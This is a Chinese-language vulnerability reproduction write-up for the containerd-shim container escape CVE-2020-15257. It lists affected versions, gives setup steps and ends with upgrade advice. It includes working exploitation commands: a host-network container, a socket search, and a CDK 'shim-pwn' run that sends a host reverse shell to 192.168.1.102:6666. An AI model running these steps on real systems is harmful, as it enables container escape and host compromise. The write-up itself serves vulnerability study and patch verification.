Docker_容器逃逸漏洞_(CVE-2020-15257)复现

# Docker 容器逃逸漏洞 (CVE-2020-15257)复现

## 漏洞概述

`containerd`是行业标准的容器运行时,可作为`Linux`和`Windows`的守护程序使用。在版本`1.3.9`和`1.4.3`之前的容器中,容器填充的`API`不正确地暴露给主机网络容器。填充程序的`API`套接字的访问控制验证了连接过程的有效`UID`为0,但没有以其他方式限制对抽象`Unix`域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效`UID`为0,但特权降低)导致新进程以提升的特权运行。

## 影响版本

containerd < 1.4.3 containerd < 1.3.9 ## 环境搭建 安装有漏洞的`containerd`版本 这里我使用的版本是`1.2.10` ![640](/static/qingy/Docker_容器逃逸漏洞_(CVE-2020-15257)复现/img/640.png) ## 漏洞复现 通过`--net=host` 作为启动参数来运行一个容器: ```shell docker run -it --net=host ubuntu:18.04 /bin/bash ``` 接着在容器内执行 ```shell cat /proc/net/unix|grep -a "containerd-shim" ``` 可看到抽象命名空间`Unix`域套接字 ![641](/static/qingy/Docker_容器逃逸漏洞_(CVE-2020-15257)复现/img/641.png) Poc地址 > https://github.com/Xyntax/CDK/releases/tag/0.1.6

这里为了方便行事,我们下载解压直接把`cdk_linux_amd64`文件拷贝到容器里

“`shell
docker cp cdk_linux_amd64 b7bd2b523d72:/tmp
“`

![642](/static/qingy/Docker_容器逃逸漏洞_(CVE-2020-15257)复现/img/642.png)

![643](/static/qingy/Docker_容器逃逸漏洞_(CVE-2020-15257)复现/img/643.png)

在容器中执行`exp`,自动搜索可用的`socket`并反弹宿主机的`shell`到远端服务器,完成逃逸

“`shell
./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666
“`

![644](/static/qingy/Docker_容器逃逸漏洞_(CVE-2020-15257)复现/img/644.png)

## 修复建议

升级 `containerd` 至最新版本。

## 参考

> https://mp.weixin.qq.com/s/ieY90noArcObNgxyV2-sGA

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容